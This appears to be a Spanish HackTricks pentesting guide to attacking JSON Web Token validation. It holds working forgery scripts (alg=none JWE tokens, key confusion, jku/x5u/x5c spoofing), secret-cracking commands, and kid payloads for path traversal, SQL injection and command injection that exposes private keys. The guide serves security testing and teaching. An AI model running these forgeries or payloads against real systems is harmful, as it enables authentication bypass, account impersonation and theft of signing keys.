Vulnerabilidades JWT (Json Web Tokens)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Parte de esta publicación está basada en la increíble publicación: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor de la gran tool para pentestear JWTs https://github.com/ticarpi/jwt_tool

Quick Wins

Ejecuta jwt_tool con el modo All Tests! y espera las líneas verdes

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si tienes suerte, la herramienta encontrará algún caso en el que la aplicación web esté comprobando incorrectamente el JWT:

Entonces, puedes buscar la solicitud en tu proxy o volcar el JWT usado para esa solicitud usando jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

También puedes usar la Burp Extension SignSaboteur para lanzar ataques JWT desde Burp.

Flujo práctico de evaluación JWT

  • Delimita el control de sesión: Elige una request específica de usuario (p. ej., perfil, facturación). Elimina cookies/headers uno por uno hasta que la request sea rechazada para aislar qué token(s) realmente controlan la autorización.
  • Localiza JWTs en el tráfico: A menudo están en Authorization: Bearer <JWT>, pero también aparecen en headers personalizados o cookies. Si Burp no los resalta, usa Target → Site map → Engagement tools → Search con patrones regex como:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decodifica y enumera: Usa Burp JWT Editor o python3 jwt_tool.py <JWT> para leer header/payload. Anota alg, exp/duración del token, y las claims que influyen en authn/authz (role, id, username, email, etc.).
  • Comprobación de enforcement de la signature: Modifica o borra unos pocos bytes en la parte de la signature y reenvía la request. Si se acepta, falta validación de la signature y puedes manipular directamente las claims del payload.
  • Objetivo: Modificar claims del payload para escalar privilegios; cada ataque abajo busca que el server acepte un payload alterado abusando de verificación débil, secrets débiles o selección insegura de key.

Alterar datos sin modificar nada

Puedes simplemente alterar los datos dejando la signature igual y comprobar si el server está verificando la signature. Intenta cambiar tu username a “admin”, por ejemplo.

¿Se verifica el token?

Para comprobar si se está verificando la signature de un JWT:

  • Un mensaje de error sugiere que la verificación está en curso; los detalles sensibles en errores verbosos deben revisarse.
  • Un cambio en la página devuelta también indica verificación.
  • Ningún cambio sugiere que no hay verificación; aquí es cuando puedes experimentar alterando las claims del payload.

Origen

Es importante determinar si el token fue generado del lado del server o del lado del cliente examinando el historial de requests del proxy.

  • Los tokens vistos primero del lado del cliente sugieren que la key podría estar expuesta al código del lado del cliente, lo que requiere más investigación.
  • Los tokens originados del lado del server indican un proceso seguro.

Duración

Comprueba si el token dura más de 24h… quizá nunca expira. Si hay un campo "exp", comprueba si el server lo maneja correctamente.

Fuerza bruta de HMAC secret

See this page.

Si el header usa HS256, vuelca el token a un archivo e intenta cracking offline:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Una vez recuperado el secreto, cárgalo como una symmetric key en Burp JWT Editor y vuelve a firmar los claims modificados.

Derive JWT secrets from leaked config + DB data

Si un arbitrary file read (o backup leak) expone tanto application encryption material como user records, a veces puedes recrear el JWT signing secret y forge session cookies sin conocer ninguna plaintext passwords. Ejemplo de patrón observado en workflow automation stacks:

  1. Leak la app key (p. ej., encryptionKey) desde un config file.
  2. Leak la user table para obtener email, password_hash y user_id.
  3. Derive el signing secret a partir de la key, luego derive el per-user hash esperado en el JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Coloca el token firmado en la cookie de sesión (p. ej., n8n-auth) para suplantar la cuenta de usuario/admin incluso si el hash de la password está salted.

Modificar el algorithm a None

Configura el algoritmo usado como “None” y elimina la parte de la signature.

Usa la extensión de Burp llamada “JSON Web Token” para probar esta vulnerability y cambiar diferentes valores dentro del JWT (envía la request a Repeater y en la pestaña “JSON Web Token” puedes modificar los valores del token. También puedes seleccionar poner el valor del campo “Alg” en “None”).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

Algunos stacks esperan un signed inner JWT envuelto dentro de un encrypted JWE. En versiones vulnerables de pac4j-jwt (anteriores a 4.5.9, 5.7.9 y 6.3.3), el authenticator descifra el JWE, intenta parsear el payload como un signed JWT y solo verifica la signature si esa conversión tiene éxito. Si el payload descifrado es un PlainJWT (alg=none), toSignedJWT() devuelve null y se omite la ruta de verificación de la signature.

  • Pre-reqs:
  • La aplicación acepta JWE bearer tokens
  • La public key del servidor está expuesta (normalmente vía JWKS como /.well-known/jwks.json o /api/auth/jwks)
  • La autorización depende de claims controladas por el atacante como sub, role, groups o scope
  • Impact: forjar un token encrypted para cualquier usuario/role usando solo la public key

Comprobaciones prácticas:

  • Enumera la frontend / API docs para pistas como RSA-OAEP-256, A128GCM/A256GCM, jwks, o comentarios que digan “inner JWT is signed”.
  • Descarga el JWKS e importa la RSA key desde n/e.
  • Construye el token inner manualmente como base64url(header) + "." + base64url(payload) + "." para que la signature quede vacía.
  • Encripta ese JWT en texto plano como un JWE usando la public key expuesta y reprodúcelo como bearer token.

Construcción mínima de PlainJWT:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

Encríptalo en un JWE compacto con la clave pública RSA del JWKS:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Notes:

  • Si tu biblioteca JWT se niega a emitir alg=none, genera el token compacto manualmente como se muestra arriba.
  • El valor enc debe coincidir con uno aceptado por el target; los comentarios del frontend y los tokens legítimos a menudo lo revelan.
  • En SPAs, comprueba si el bearer token se almacena en sessionStorage, localStorage o en una cookie accesible por JS; colocar ahí el token forjado suele ser suficiente para validar el bypass rápidamente.

Cambiar el algoritmo RS256(asymmetric) a HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

El algoritmo HS256 usa la clave secreta para firmar y verificar cada mensaje.
El algoritmo RS256 usa la clave privada para firmar el mensaje y usa la clave pública para la autenticación.

Si cambias el algoritmo de RS256 a HS256, el código del back end usa la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma.

Entonces, usando la clave pública y cambiando RS256 a HS256, podríamos crear una firma válida. Puedes recuperar el certificado del servidor web ejecutando esto:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Usando Burp JWT Editor, importa la clave pública RSA (desde /.well-known/jwks.json o un PEM) y ejecuta Attack → HMAC Key Confusion Attack para automatizar el intento de re-firmado HS256.

Nueva clave pública dentro del header

Un atacante incrusta una nueva clave en el header del token y el servidor usa esta nueva clave para verificar la firma (CVE-2018-0114).

Esto se puede hacer con la extensión “JSON Web Tokens” de Burp.
(Envía la request al Repeater, dentro de la pestaña JSON Web Token selecciona “CVE-2018-0114” y envía la request).

JWKS Spoofing

Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, en particular aquellos que usan una claim de header “jku”. Esta claim debería enlazar a un archivo JWKS (JSON Web Key Set) que contiene la clave pública necesaria para la verificación del token.

  • Evaluación de Tokens con header “jku”:

  • Verifica la URL de la claim “jku” para asegurarte de que conduce al archivo JWKS apropiado.

  • Modifica el valor “jku” del token para dirigirlo hacia un servicio web controlado, permitiendo observar el tráfico.

  • Monitoreo de interacción HTTP:

  • Observar requests HTTP a la URL especificada indica que el servidor intenta obtener claves desde tu enlace proporcionado.

  • Al usar jwt_tool para este proceso, es crucial actualizar el archivo jwtconf.ini con la ubicación de tu JWKS personal para facilitar la prueba.

  • Comando para jwt_tool:

  • Ejecuta el siguiente comando para simular el escenario con jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Resumen de problemas con Kid

Una claim de header opcional conocida como kid se utiliza para identificar una clave específica, lo que resulta especialmente importante en entornos donde existen múltiples claves para la verificación de la firma del token. Esta claim ayuda a seleccionar la clave adecuada para verificar la firma de un token.

Revelar la clave mediante “kid”

Cuando la claim kid está presente en el header, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica "kid":"key/12345", se deberían buscar los archivos /key/12345 y /key/12345.pem en la raíz web.

Path Traversal con “kid”

La claim kid también podría explotarse para navegar por el sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es posible probar conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) alterando el valor de kid para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor de kid manteniendo la firma original se puede lograr usando la bandera -T en jwt_tool, como se muestra abajo:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Al dirigirse a archivos con contenido predecible, es posible falsificar un JWT válido. Por ejemplo, el archivo /proc/sys/kernel/randomize_va_space en sistemas Linux, conocido por contener el valor 2, puede usarse en el parámetro kid con 2 como la contraseña simétrica para la generación de JWT.

Un patrón práctico para una carga de claves del sistema de archivos frágil es generar una clave HS256 con JWK k establecido en AA==, establecer kid en una traversal como ../../../../../../../dev/null, y volver a firmar; algunas implementaciones tratan el archivo vacío como un secreto HMAC válido y aceptarán tokens falsificados.

SQL Injection via “kid”

Si el contenido del claim kid se emplea para obtener una contraseña desde una base de datos, se podría facilitar una SQL injection modificando la carga útil de kid. Un ejemplo de payload que usa SQL injection para alterar el proceso de firma del JWT incluye:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Esta alteración fuerza el uso de una clave secreta conocida, ATTACKER, para la firma del JWT.

OS Injection through “kid”

Un escenario en el que el parámetro kid especifica una ruta de archivo usada dentro de un contexto de ejecución de comandos podría conducir a vulnerabilidades de Remote Code Execution (RCE). Al inyectar comandos en el parámetro kid, es posible exponer claves privadas. Un ejemplo de payload para lograr RCE y exposición de claves es:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku significa JWK Set URL.
Si el token usa un claim de Headerjku”, entonces revisa la URL proporcionada. Esta debería apuntar a una URL que contenga el archivo JWKS que guarda la Public Key para verificar el token. Modifica el token para que el valor jku apunte a un servicio web cuyo tráfico puedas monitorizar.

Primero necesitas crear un nuevo certificado con nuevas private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one anche change the needed parameters.

You can obtain the parametes “e” and “n” from a public certificate using:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Si el verificador obtiene material de clave de forma remota, incrusta una URL de Burp Collaborator en jku/x5u usando JWT Editor → Attack → Embed Collaborator payload. Cualquier callback confirma recuperación de clave tipo SSRF; luego aloja tu propio JWKS/PEM en esa URL y vuelve a firmar con tu clave privada para que el servicio valide tokens generados por el atacante.

x5u

X.509 URL. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en formato PEM. El primer certificado del conjunto debe ser el usado para firmar este JWT. Los certificados siguientes firman al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807 . Se requiere seguridad de transporte para transferir los certificados.

Intenta cambiar este header por una URL bajo tu control y comprobar si se recibe alguna petición. En ese caso, podrías manipular el JWT.

Para falsificar un nuevo token usando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Entonces puedes usar, por ejemplo, jwt.io para crear el nuevo JWT con las claves pública y privada creadas y apuntando el parámetro x5u al certificado .crt creado.

También puedes abusar de ambas vulns para SSRFs.

x5c

Este parámetro puede contener el certificado en base64:

Si el atacante genera un certificado self-signed y crea un token falsificado usando la clave privada correspondiente y reemplaza el valor del parámetro “x5c” con el certificado recién generado y modifica los otros parámetros, concretamente n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Clave pública incrustada (CVE-2018-0114)

Si el JWT tiene una clave pública incrustada como en el siguiente escenario:

Usando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Puedes obtener el “n” y el “e” usando este script de nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finalmente, usando la public y private key y los nuevos valores de “n” y “e” puedes usar jwt.io para forjar un nuevo JWT válido con cualquier información.

ES256: Revelando la private key con el mismo nonce

Si algunas aplicaciones usan ES256 y usan el mismo nonce para generar dos jwts, la private key puede ser restaurada.

Aquí hay un ejemplo: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

La claim JTI (JWT ID) proporciona un identificador único para un JWT Token. Puede usarse para evitar que el token sea replayed.
Sin embargo, imagina una situación en la que la longitud máxima del ID es 4 (0001-9999). La request 0001 y 10001 van a usar el mismo ID. Así que, si el backend está incrementig el ID en cada request, podrías abusar de esto para replay a request (necesitando enviar 10000 request entre cada replay exitoso).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

Se ha observado que algunas web applications dependen de un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos en los que un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un third-party service, debe investigarse la posibilidad de registrarse para una cuenta en otro cliente de ese servicio usando el mismo username/email. Entonces debe intentarse replay el token obtenido en una request al target para ver si es aceptado.

  • Un problema crítico puede estar indicado por la aceptación de tu token, lo que potencialmente permitiría el spoofing de la cuenta de cualquier usuario. Sin embargo, debe tenerse en cuenta que podría requerirse permiso para pruebas más amplias si te registras en una third-party application, ya que esto podría entrar en una zona legal gris.

Expiry Check of Tokens

La expiración del token se comprueba usando la claim “exp” del Payload. Dado que los JWT suelen emplearse sin información de session, se requiere un manejo cuidadoso. En muchos casos, capturar y replay de un JWT de otro usuario podría permitir la impersonation de ese usuario. El RFC de JWT recomienda mitigar los JWT replay attacks utilizando la claim “exp” para establecer un tiempo de expiración para el token. Además, es crucial que la aplicación implemente las comprobaciones relevantes para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye una claim “exp” y los límites de tiempo de la prueba lo permiten, se recomienda almacenar el token y replay it after the expiry time has passed. El contenido del token, incluyendo el parsing de timestamps y la comprobación de expiración (timestamp en UTC), puede leerse usando la bandera -R de jwt_tool.

  • Puede existir un riesgo de seguridad si la aplicación sigue validando el token, ya que esto puede implicar que el token nunca podría expirar.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) y semi-automated attack modes (-M at).
  • Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks